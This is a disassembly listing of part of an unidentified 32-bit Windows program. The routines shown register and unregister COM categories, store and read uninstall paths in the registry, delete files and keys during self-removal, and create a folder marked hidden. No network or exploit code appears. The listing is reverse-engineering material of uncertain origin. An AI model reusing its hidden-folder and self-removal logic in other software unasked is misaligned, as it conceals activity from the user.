		mov	eax, [ebp+6Ch+var_4]
		test	eax, eax
		jz	loc_402E35
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+8]
		xor	eax, eax
		lea	esp, [ebp-0BCh]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_402BF3:				; CODE XREF: sub_402B60+6Cj
		cmp	dword ptr [ebx], 0
		jz	loc_402C85
		lea	esp, [esp+0]


loc_402C00:				; CODE XREF: sub_402B60+11Fj
		mov	eax, [ebx+4]
		mov	ecx, [eax]
		mov	[ebp+6Ch+var_18], ecx
		mov	edx, [eax+4]
		mov	[ebp+6Ch+var_14], edx
		mov	ecx, [eax+8]
		mov	[ebp+6Ch+var_10], ecx
		mov	edx, [eax+0Ch]
		mov	eax, [ebp+6Ch+arg_8]
		mov	[ebp+6Ch+var_C], edx
		lea	edx, [ebp+6Ch+var_18]
		push	edx
		push	1
		test	eax, eax
		mov	eax, [ebx]
		push	edi
		jz	short loc_402C64
		cmp	eax, 1
		mov	eax, [ebp+6Ch+var_4]
		mov	ecx, [eax]
		push	eax
		jnz	short loc_402C3A
		call	dword ptr [ecx+14h]
		jmp	short loc_402C3D
; ---------------------------------------------------------------------------


loc_402C3A:				; CODE XREF: sub_402B60+D3j
		call	dword ptr [ecx+1Ch]


loc_402C3D:				; CODE XREF: sub_402B60+D8j
		mov	esi, eax
		test	esi, esi
		jge	short loc_402C77
		mov	eax, [ebp+6Ch+var_4]
		test	eax, eax
		jz	short loc_402C50
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402C50:				; CODE XREF: sub_402B60+E8j
		mov	eax, esi
		lea	esp, [ebp-0BCh]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_402C64:				; CODE XREF: sub_402B60+C8j
		cmp	eax, 1
		mov	eax, [ebp+6Ch+var_4]
		mov	ecx, [eax]
		push	eax
		jnz	short loc_402C74
		call	dword ptr [ecx+18h]
		jmp	short loc_402C77
; ---------------------------------------------------------------------------


loc_402C74:				; CODE XREF: sub_402B60+10Dj
		call	dword ptr [ecx+20h]


loc_402C77:				; CODE XREF: sub_402B60+E1j
					; sub_402B60+112j
		mov	eax, [ebx+8]
		add	ebx, 8
		test	eax, eax
		jnz	loc_402C00


loc_402C85:				; CODE XREF: sub_402B60+96j
		mov	eax, [ebp+6Ch+arg_8]
		test	eax, eax
		jnz	loc_402E28
		push	40h
		lea	edx, [ebp+6Ch+var_11C]
		push	edx
		push	edi
		call	ds:dword_40F270
		call	off_412040
		mov	edi, eax
		lea	eax, [ebp+6Ch+var_11C]
		push	eax
		mov	[ebp+6Ch+arg_0], 0
		call	ds:dword_40F040	; lstrlenW
		lea	esi, [eax+eax+2]
		cmp	esi, 400h
		jg	short loc_402CE6
		push	esi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_402CE6
		mov	eax, esi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_402CEF
; ---------------------------------------------------------------------------


loc_402CE6:				; CODE XREF: sub_402B60+166j
					; sub_402B60+173j
		push	esi
		lea	ecx, [ebp+6Ch+arg_0]
		call	sub_4022E0


loc_402CEF:				; CODE XREF: sub_402B60+184j
		push	edi
		push	esi
		lea	ecx, [ebp+6Ch+var_11C]
		push	ecx
		push	eax
		call	sub_401240
		mov	edi, eax
		test	edi, edi
		jz	loc_402E20
		mov	ebx, ds:dword_40F0A0
		push	offset aClsid	; "CLSID\\"
		lea	edx, [ebp+6Ch+var_9C]
		push	edx
		call	ebx	; lstrcpy
		mov	esi, ds:dword_40F0A8
		push	edi
		lea	eax, [ebp+6Ch+var_9C]
		push	eax
		call	esi	; lstrcat
		push	offset aRequiredCatego ; "\\Required Categories"
		lea	ecx, [ebp+6Ch+var_9C]
		push	ecx
		call	esi	; lstrcat
		push	20019h
		lea	edx, [ebp+6Ch+var_9C]
		xor	eax, eax
		push	edx
		push	80000000h
		lea	ecx, [ebp+6Ch+arg_8]
		mov	[ebp+6Ch+var_8], 80000000h
		mov	[ebp+6Ch+arg_8], eax
		mov	[ebp+6Ch+arg_4], eax
		call	sub_4014F0
		test	eax, eax
		jnz	short loc_402D9D
		push	eax
		mov	ecx, [ebp+6Ch+arg_8]
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+6Ch+arg_4]
		push	eax
		push	0
		push	0
		push	0
		push	ecx
		call	ds:dword_40F014	; RegQueryInfoKeyA
		lea	ecx, [ebp+6Ch+arg_8]
		mov	[ebp+6Ch+var_1C], eax
		call	sub_4014D0
		mov	eax, [ebp+6Ch+var_1C]
		test	eax, eax
		jnz	short loc_402D9D
		mov	eax, [ebp+6Ch+arg_4]
		test	eax, eax
		jnz	short loc_402D9D
		lea	edx, [ebp+6Ch+var_9C]
		push	edx
		push	80000000h
		call	ds:dword_40F008	; RegDeleteKeyA


loc_402D9D:				; CODE XREF: sub_402B60+1F8j
					; sub_402B60+225j ...
		push	offset aClsid	; "CLSID\\"
		lea	eax, [ebp+6Ch+var_9C]
		push	eax
		call	ebx	; lstrcpy
		push	edi
		lea	ecx, [ebp+6Ch+var_9C]
		push	ecx
		call	esi	; lstrcat
		push	offset aImplementedCat ; "\\Implemented	Categories"
		lea	edx, [ebp+6Ch+var_9C]
		push	edx
		call	esi	; lstrcat
		push	20019h
		lea	eax, [ebp+6Ch+var_9C]
		push	eax
		push	80000000h
		lea	ecx, [ebp+6Ch+arg_8]
		call	sub_4014F0
		test	eax, eax
		jnz	short loc_402E10
		mov	edx, [ebp+6Ch+arg_8]
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		lea	ecx, [ebp+6Ch+arg_4]
		push	ecx
		push	eax
		push	eax
		push	eax
		push	edx
		call	ds:dword_40F014	; RegQueryInfoKeyA
		lea	ecx, [ebp+6Ch+arg_8]
		mov	esi, eax
		call	sub_4014D0
		test	esi, esi
		jnz	short loc_402E10
		mov	eax, [ebp+6Ch+arg_4]
		test	eax, eax
		jnz	short loc_402E10
		lea	eax, [ebp+6Ch+var_9C]
		push	eax
		push	80000000h
		call	ds:dword_40F008	; RegDeleteKeyA


loc_402E10:				; CODE XREF: sub_402B60+272j
					; sub_402B60+298j ...
		lea	ecx, [ebp+6Ch+arg_8]
		call	sub_401ED0
		lea	ecx, [ebp+6Ch+var_8]
		call	sub_401ED0


loc_402E20:				; CODE XREF: sub_402B60+1A2j
		lea	ecx, [ebp+6Ch+arg_0]
		call	sub_401C60


loc_402E28:				; CODE XREF: sub_402B60+12Aj
		mov	eax, [ebp+6Ch+var_4]
		test	eax, eax
		jz	short loc_402E35
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402E35:				; CODE XREF: sub_402B60+1Aj
					; sub_402B60+4Cj ...
		xor	eax, eax
		lea	esp, [ebp-0BCh]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_402B60	endp

; ---------------------------------------------------------------------------
		align 10h


loc_402E50:				; CODE XREF: WinMain(x,x,x,x)+193p
		push	ebx
		mov	ebx, [esp+8]
		test	ebx, ebx
		jnz	short loc_402E68
		push	ebx
		push	ebx
		push	1
		push	0C0000005h
		call	ds:dword_40F044	; RaiseException


loc_402E68:				; CODE XREF: .text:00402E57j
		push	esi
		mov	esi, [esp+10h]
		test	esi, esi
		jz	short loc_402EA5
		mov	eax, [esp+14h]
		test	eax, eax
		jz	short loc_402EA5
		push	edi
		mov	[esi], eax
		call	ds:dword_40F0AC	; GetCurrentThreadId
		lea	edi, [ebx+4]
		push	edi
		mov	[esi+4], eax
		call	ds:dword_40F048	; RtlEnterCriticalSection
		mov	eax, [ebx+1Ch]
		mov	[esi+8], eax
		push	edi
		mov	[ebx+1Ch], esi
		call	ds:dword_40F04C	; RtlLeaveCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_402EA5:				; CODE XREF: .text:00402E6Fj
					; .text:00402E77j
		push	0
		push	0
		push	1
		push	0C0000005h
		call	ds:dword_40F044	; RaiseException
; ---------------------------------------------------------------------------
		db 0Ah dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_402EC0	proc near		; CODE XREF: .text:00404B57p

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		test	edi, edi
		jnz	short loc_402ECF
		xor	eax, eax
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_402ECF:				; CODE XREF: sub_402EC0+7j
		push	ebx
		push	ebp
		push	esi
		lea	ebp, [edi+4]
		push	ebp
		xor	ebx, ebx
		call	ds:dword_40F048	; RtlEnterCriticalSection
		mov	esi, [edi+1Ch]
		test	esi, esi
		jz	short loc_402F32
		call	ds:dword_40F0AC	; GetCurrentThreadId
		xor	ecx, ecx
		lea	ecx, [ecx+0]


loc_402EF0:				; CODE XREF: sub_402EC0+3Cj
		cmp	[esi+4], eax
		jz	short loc_402F0E
		mov	ecx, esi
		mov	esi, [esi+8]
		test	esi, esi
		jnz	short loc_402EF0
		push	ebp
		call	ds:dword_40F04C	; RtlLeaveCriticalSection
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_402F0E:				; CODE XREF: sub_402EC0+33j
		test	ecx, ecx
		jnz	short loc_402F2A
		mov	eax, [esi+8]
		mov	[edi+1Ch], eax
		mov	ebx, [esi]
		push	ebp
		call	ds:dword_40F04C	; RtlLeaveCriticalSection
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		pop	edi
		retn	4
; ---------------------------------------------------------------------------


loc_402F2A:				; CODE XREF: sub_402EC0+50j
		mov	edx, [esi+8]
		mov	[ecx+8], edx
		mov	ebx, [esi]


loc_402F32:				; CODE XREF: sub_402EC0+23j
		push	ebp
		call	ds:dword_40F04C	; RtlLeaveCriticalSection
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		pop	edi
		retn	4
sub_402EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402F50	proc near		; CODE XREF: sub_403BB0+9Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	edx, [esi]
		lea	ecx, ds:4[eax*4]
		push	ecx		; NewSize
		push	edx		; Memory
		call	_realloc
		add	esp, 8
		test	eax, eax
		jz	short loc_402F8A
		mov	edx, [esi+4]
		mov	[esi], eax
		mov	eax, [esi+8]
		lea	ecx, ds:4[eax*4]
		push	ecx		; NewSize
		push	edx		; Memory
		call	_realloc
		add	esp, 8
		test	eax, eax
		jnz	short loc_402F90


loc_402F8A:				; CODE XREF: sub_402F50+1Bj
		xor	eax, eax
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_402F90:				; CODE XREF: sub_402F50+38j
		mov	[esi+4], eax
		mov	eax, [esi+8]
		lea	ecx, ds:0[eax*4]
		mov	eax, [esi]
		add	eax, ecx
		jz	short loc_402FAB
		mov	edx, [esp+4+arg_0]
		mov	edx, [edx]
		mov	[eax], edx


loc_402FAB:				; CODE XREF: sub_402F50+51j
		mov	eax, [esi+4]
		add	eax, ecx
		jz	short loc_402FBA
		mov	ecx, [esp+4+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx


loc_402FBA:				; CODE XREF: sub_402F50+60j
		inc	dword ptr [esi+8]
		mov	eax, 1
		pop	esi
		retn	8
sub_402F50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_402FD0(size_t Size)

sub_402FD0	proc near		; CODE XREF: sub_404CD0+152p

Size		= dword	ptr  4

		mov	eax, [esp+Size]
		cmp	eax, 400h
		push	esi
		mov	esi, ecx
		jbe	short loc_402FEA
		push	eax		; Size
		call	sub_401CE0
		mov	eax, [esi]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_402FEA:				; CODE XREF: sub_402FD0+Cj
		lea	eax, [esi+4]
		mov	[esi], eax
		pop	esi
		retn	4
sub_402FD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_403000(size_t Size)

sub_403000	proc near		; CODE XREF: sub_403D70+CFp
					; sub_403D70+2A1p

Size		= dword	ptr  4

		mov	eax, [esp+Size]
		cmp	eax, 100h
		push	esi
		mov	esi, ecx
		jbe	short loc_40301A
		push	eax		; Size
		call	sub_401CE0
		mov	eax, [esi]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40301A:				; CODE XREF: sub_403000+Cj
		lea	eax, [esi+4]
		mov	[esi], eax
		pop	esi
		retn	4
sub_403000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403030	proc near		; CODE XREF: sub_404B20+13p
		mov	eax, [ecx+14h]
		test	eax, eax
		jz	short locret_403047
		push	eax
		push	0
		call	ds:dword_40F07C	; GetProcessHeap
		push	eax
		call	ds:dword_40F078	; RtlFreeHeap

locret_403047:				; CODE XREF: sub_403030+5j
		retn
sub_403030	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_403050(void *Memory,char)

sub_403050	proc near		; DATA XREF: .rdata:off_40F590o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		push	edi
		lea	edi, [esi+4]
		jz	short loc_40308F
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_403072
		push	edi
		call	sub_401BB0
		mov	dword ptr [esi+0Ch], 0


loc_403072:				; CODE XREF: sub_403050+13j
		mov	eax, [esi+28h]
		test	eax, eax
		jz	short loc_40307F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40307F:				; CODE XREF: sub_403050+27j
		lea	edx, [esi+10h]
		push	edx
		call	ds:dword_40F054	; RtlDeleteCriticalSection
		mov	dword ptr [edi], 0


loc_40308F:				; CODE XREF: sub_403050+Cj
		test	[esp+8+arg_0], 1
		jz	short loc_40309F
		push	esi		; Memory
		call	j__free
		add	esp, 4


loc_40309F:				; CODE XREF: sub_403050+44j
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_403050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4030B0	proc near		; CODE XREF: sub_403350+64Dp

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
Memory		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_2		= byte ptr -2
arg_0		= dword	ptr  4

		sub	esp, 34h
		push	ebx
		push	ebp
		mov	ebp, [esp+3Ch+arg_0]
		push	esi
		xor	ebx, ebx
		push	71h
		push	ebp
		lea	ecx, [esp+48h+var_2C]
		mov	esi, eax
		mov	[esp+48h+var_2C], ebx
		mov	[esp+48h+Memory], ebx
		mov	[esp+48h+var_24], ebx
		mov	[esp+48h+var_20], bl
		mov	[esp+48h+var_2], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+44h+var_2C]
		call	sub_402310
		push	7Ah
		push	ebp
		lea	ecx, [esp+48h+var_2C]
		call	sub_40A1E0
		lea	eax, [esp+40h+var_30]
		push	eax
		lea	ecx, [esp+44h+var_34]
		push	ecx
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		lea	ecx, [esp+5Ch+var_2C]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_40317A
		mov	eax, esi
		lea	edx, [eax+1]
		lea	esp, [esp+0]


loc_403130:				; CODE XREF: sub_4030B0+85j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_403130
		sub	eax, edx
		mov	edx, [esp+40h+var_34]
		push	eax
		push	esi
		mov	esi, ds:dword_40F010
		push	1
		push	ebx
		push	offset aUninstexe ; "uninstExe"
		push	edx
		call	esi	; RegSetValueExA
		mov	eax, edi
		lea	ecx, [eax+1]


loc_403155:				; CODE XREF: sub_4030B0+AAj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_403155
		sub	eax, ecx
		push	eax
		mov	eax, [esp+44h+var_34]
		push	edi
		push	1
		push	ebx
		push	offset aUninstshortcut ; "uninstShortcut"
		push	eax
		call	esi	; RegSetValueExA
		mov	ecx, [esp+40h+var_34]
		push	ecx
		call	ds:dword_40F020	; RegCloseKey


loc_40317A:				; CODE XREF: sub_4030B0+72j
		mov	eax, [esp+40h+Memory]
		cmp	eax, ebx
		jz	short loc_40318F
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+40h+Memory], ebx


loc_40318F:				; CODE XREF: sub_4030B0+D0j
		mov	edx, [esp+40h+var_2C]
		push	edx
		call	ds:dword_40F194
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 34h
		retn
sub_4030B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_4031B0:				; CODE XREF: WinMain(x,x,x,x)+148p
		sub	esp, 93Ch
		push	ebx
		push	esi
		xor	ebx, ebx
		mov	esi, eax
		push	71h
		push	esi
		lea	ecx, [esp+20h]
		mov	[esp+20h], ebx
		mov	[esp+24h], ebx
		mov	[esp+28h], ebx
		mov	[esp+2Ch], bl
		mov	[esp+4Ah], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+1Ch]
		call	sub_402310
		push	7Ah
		push	esi
		lea	ecx, [esp+20h]
		call	sub_40A1E0
		lea	eax, [esp+0Ch]
		push	eax
		push	20019h
		push	ebx
		lea	ecx, [esp+24h]
		call	sub_409F60
		push	eax
		push	80000001h
		call	ds:dword_40F00C	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_4032FB
		mov	eax, [esp+0Ch]
		mov	esi, ds:dword_40F01C
		lea	ecx, [esp+8]
		push	ecx
		push	ebx
		lea	edx, [esp+18h]
		push	edx
		push	ebx
		push	offset aUninstexe ; "uninstExe"
		push	eax
		call	esi	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_403283
		lea	ecx, [esp+8]
		push	ecx
		mov	ecx, [esp+10h]
		lea	edx, [esp+48h]
		push	edx
		lea	eax, [esp+18h]
		push	eax
		push	ebx
		push	offset aUninstexe ; "uninstExe"
		push	ecx
		call	esi	; RegQueryValueExA
		mov	edx, [esp+8]
		push	edx
		lea	eax, [esp+48h]
		push	eax
		lea	ecx, [esp+54Ch]
		push	ecx
		call	_strncpy
		mov	edx, [esp+14h]
		add	esp, 0Ch
		mov	[esp+edx+544h],	bl
		jmp	short loc_40328A
; ---------------------------------------------------------------------------


loc_403283:				; CODE XREF: .text:0040323Ej
		mov	[esp+544h], bl


loc_40328A:				; CODE XREF: .text:00403281j
		mov	edx, [esp+0Ch]
		lea	eax, [esp+8]
		push	eax
		push	ebx
		lea	ecx, [esp+18h]
		push	ecx
		push	ebx
		push	offset aUninstshortcut ; "uninstShortcut"
		push	edx
		call	esi	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4032E9
		lea	eax, [esp+8]
		push	eax
		mov	eax, [esp+10h]
		lea	ecx, [esp+48h]
		push	ecx
		lea	edx, [esp+18h]
		push	edx
		push	ebx
		push	offset aUninstshortcut ; "uninstShortcut"
		push	eax
		call	esi	; RegQueryValueExA
		mov	ecx, [esp+8]
		push	ecx
		lea	edx, [esp+48h]
		push	edx
		lea	eax, [esp+14Ch]
		push	eax
		call	_strncpy
		mov	ecx, [esp+14h]
		add	esp, 0Ch
		mov	[esp+ecx+144h],	bl
		jmp	short loc_4032F0
; ---------------------------------------------------------------------------


loc_4032E9:				; CODE XREF: .text:004032A4j
		mov	[esp+144h], bl


loc_4032F0:				; CODE XREF: .text:004032E7j
		mov	edx, [esp+0Ch]
		push	edx
		call	ds:dword_40F020	; RegCloseKey


loc_4032FB:				; CODE XREF: .text:00403218j
		lea	eax, [esp+144h]
		lea	edx, [eax+1]


loc_403305:				; CODE XREF: .text:0040330Aj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_403305
		sub	eax, edx
		mov	[esp+14h], eax
		jz	short loc_403322
		lea	eax, [esp+144h]
		push	eax
		call	ds:dword_40F0B0	; DeleteFileA


loc_403322:				; CODE XREF: .text:00403312j
		lea	ecx, [esp+18h]
		call	sub_409F60
		mov	esi, ds:dword_40F008
		push	eax
		push	80000001h
		call	esi	; RegDeleteKeyA
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	esi	; RegDeleteKeyA
		push	ebx
		call	_exit	; _exit
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0CCCCCC5Bh

; =============== S U B	R O U T	I N E =======================================



sub_403350	proc near		; CODE XREF: WinMain(x,x,x,x)+154p

var_170		= dword	ptr -170h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_13A		= byte ptr -13Ah
var_138		= dword	ptr -138h
Memory		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_10E		= byte ptr -10Eh
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_E2		= byte ptr -0E2h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= byte ptr -0D4h
var_B6		= byte ptr -0B6h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= byte ptr -0A8h
var_8A		= byte ptr -8Ah
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_5E		= byte ptr -5Eh
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_32		= byte ptr -32h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_2		= byte ptr -2
arg_0		= dword	ptr  4

		sub	esp, 170h
		push	ebx
		xor	ebx, ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+180h+arg_0]
		push	71h
		push	edi
		lea	ecx, [esp+188h+var_2C]
		mov	esi, eax
		mov	[esp+188h+var_10C], ebx
		mov	[esp+188h+var_108], ebx
		mov	[esp+188h+var_104], ebx
		mov	[esp+188h+var_100], bl
		mov	[esp+188h+var_E2], bl
		mov	[esp+188h+var_B4], ebx
		mov	[esp+188h+var_B0], ebx
		mov	[esp+188h+var_AC], ebx
		mov	[esp+188h+var_A8], bl
		mov	[esp+188h+var_8A], bl
		mov	[esp+188h+var_2C], ebx
		mov	[esp+188h+var_28], ebx
		mov	[esp+188h+var_24], ebx
		mov	[esp+188h+var_20], bl
		mov	[esp+188h+var_2], bl
		call	sub_401DD0
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+184h+var_2C]
		call	sub_402310
		push	7Ah
		push	edi
		lea	ecx, [esp+188h+var_2C]
		call	sub_40A1E0
		cmp	byte ptr [esi],	22h
		jnz	short loc_403400
		inc	esi


loc_403400:				; CODE XREF: sub_403350+ADj
		mov	cl, [esi]
		cmp	cl, bl
		mov	eax, esi
		jz	short loc_403415


loc_403408:				; CODE XREF: sub_403350+C3j
		cmp	cl, 22h
		jz	short loc_403415
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, bl
		jnz	short loc_403408


loc_403415:				; CODE XREF: sub_403350+B6j
					; sub_403350+BBj
		sub	eax, esi
		push	eax
		push	esi
		lea	ecx, [esp+188h+var_88]
		mov	[esp+188h+var_88], ebx
		mov	[esp+188h+var_84], ebx
		mov	[esp+188h+var_80], ebx
		mov	[esp+188h+var_7C], bl
		mov	[esp+188h+var_5E], bl
		call	sub_40A260
		push	7Ah
		push	edi
		lea	ecx, [esp+188h+var_5C]
		mov	[esp+188h+var_5C], ebx
		mov	[esp+188h+var_58], ebx
		mov	[esp+188h+var_54], ebx
		mov	[esp+188h+var_50], bl
		mov	[esp+188h+var_32], bl
		call	sub_401DD0
		push	2Bh
		lea	ecx, [esp+184h+var_E0]
		mov	[esp+184h+var_E0], ebx
		mov	[esp+184h+var_DC], ebx
		mov	[esp+184h+var_D8], ebx
		mov	[esp+184h+var_D4], bl
		mov	[esp+184h+var_B6], bl
		call	sub_40A3B0
		cmp	al, 1
		jz	short loc_403501
		push	26h
		lea	ecx, [esp+184h+var_E0]
		call	sub_40A3B0
		cmp	al, 1
		jz	short loc_403501
		mov	eax, off_4120D0
		mov	ecx, off_4120CC
		push	eax
		push	ecx
		push	80000002h
		lea	ecx, [esp+18Ch+var_E0]
		call	sub_40A2B0
		cmp	al, 1
		jz	short loc_403501
		cmp	byte ptr [esi+1], 3Ah
		lea	ecx, [esp+180h+var_E0]
		jnz	short loc_4034FA
		push	3
		push	esi
		call	sub_40A260
		jmp	short loc_403512
; ---------------------------------------------------------------------------


loc_4034FA:				; CODE XREF: sub_403350+19Ej
		push	offset aC	; "c:\\"
		jmp	short loc_40350D
; ---------------------------------------------------------------------------


loc_403501:				; CODE XREF: sub_403350+15Dj
					; sub_403350+16Fj ...
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+184h+var_E0]


loc_40350D:				; CODE XREF: sub_403350+1AFj
		call	sub_402310


loc_403512:				; CODE XREF: sub_403350+1A8j
		mov	ebp, ds:dword_40F194
		mov	[esp+180h+var_164], ebx
		mov	[esp+180h+var_160], ebx
		mov	[esp+180h+var_15C], ebx
		mov	byte ptr [esp+180h+var_158], bl
		mov	[esp+180h+var_13A], bl
		mov	[esp+180h+var_168], ebx
		mov	edi, ebx


loc_403532:				; CODE XREF: sub_403350+42Aj
		mov	edx, [esp+180h+var_164]
		push	edx
		call	ebp
		mov	eax, [esp+180h+var_E0]
		cmp	eax, ebx
		mov	[esp+180h+var_164], ebx
		jz	short loc_40356B
		lea	ecx, [esp+180h+var_170]
		push	ecx
		push	eax
		push	ebx
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_40356B
		mov	edx, [esp+180h+var_164]
		push	edx
		call	ebp
		mov	eax, [esp+180h+var_170]
		mov	[esp+180h+var_164], eax


loc_40356B:				; CODE XREF: sub_403350+1F6j
					; sub_403350+20Aj
		mov	eax, off_4120D4
		cmp	eax, ebx
		jz	short loc_4035B7
		push	eax
		lea	ecx, [esp+184h+var_170]
		mov	[esp+184h+var_170], ebx
		call	sub_401E30
		mov	esi, [esp+180h+var_170]
		cmp	esi, ebx
		jnz	short loc_40358D
		push	ebx
		jmp	short loc_4035B5
; ---------------------------------------------------------------------------


loc_40358D:				; CODE XREF: sub_403350+238j
		mov	edx, [esp+180h+var_164]
		lea	ecx, [esp+180h+var_170]
		push	ecx
		push	esi
		push	edx
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_4035B4
		mov	eax, [esp+180h+var_164]
		push	eax
		call	ebp
		mov	ecx, [esp+180h+var_170]
		mov	[esp+180h+var_164], ecx


loc_4035B4:				; CODE XREF: sub_403350+253j
		push	esi


loc_4035B5:				; CODE XREF: sub_403350+23Bj
		call	ebp


loc_4035B7:				; CODE XREF: sub_403350+222j
		cmp	edi, ebx
		jle	short loc_40360C
		push	offset a_	; "."
		lea	ecx, [esp+184h+var_170]
		mov	[esp+184h+var_170], ebx
		call	sub_401E30
		mov	esi, [esp+180h+var_170]
		cmp	esi, ebx
		jnz	short loc_4035D8
		push	ebx
		jmp	short loc_403600
; ---------------------------------------------------------------------------


loc_4035D8:				; CODE XREF: sub_403350+283j
		mov	eax, [esp+180h+var_164]
		lea	edx, [esp+180h+var_170]
		push	edx
		push	esi
		push	eax
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_4035FF
		mov	ecx, [esp+180h+var_164]
		push	ecx
		call	ebp
		mov	edx, [esp+180h+var_170]
		mov	[esp+180h+var_164], edx


loc_4035FF:				; CODE XREF: sub_403350+29Ej
		push	esi


loc_403600:				; CODE XREF: sub_403350+286j
		call	ebp
		push	edi
		lea	ecx, [esp+184h+var_164]
		call	sub_40A480


loc_40360C:				; CODE XREF: sub_403350+269j
		lea	ecx, [esp+180h+var_164]
		call	sub_409F60
		mov	esi, ds:dword_40F16C
		push	eax
		call	esi	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40364B
		lea	ecx, [esp+180h+var_164]
		call	sub_409F60
		push	eax
		call	sub_40AF44
		add	esp, 4
		test	eax, eax
		jnz	loc_403772
		lea	ecx, [esp+180h+var_164]
		call	sub_409F60
		push	eax
		call	esi	; GetFileAttributesA
		jmp	short loc_403653
; ---------------------------------------------------------------------------


loc_40364B:				; CODE XREF: sub_403350+2D1j
		test	al, 10h
		jz	loc_403772


loc_403653:				; CODE XREF: sub_403350+2F9j
		or	eax, 2
		push	eax
		lea	ecx, [esp+184h+var_164]
		call	sub_409F60
		push	eax
		call	ds:dword_40F0BC	; SetFileAttributesA
		push	offset asc_40F5D4 ; "\\"
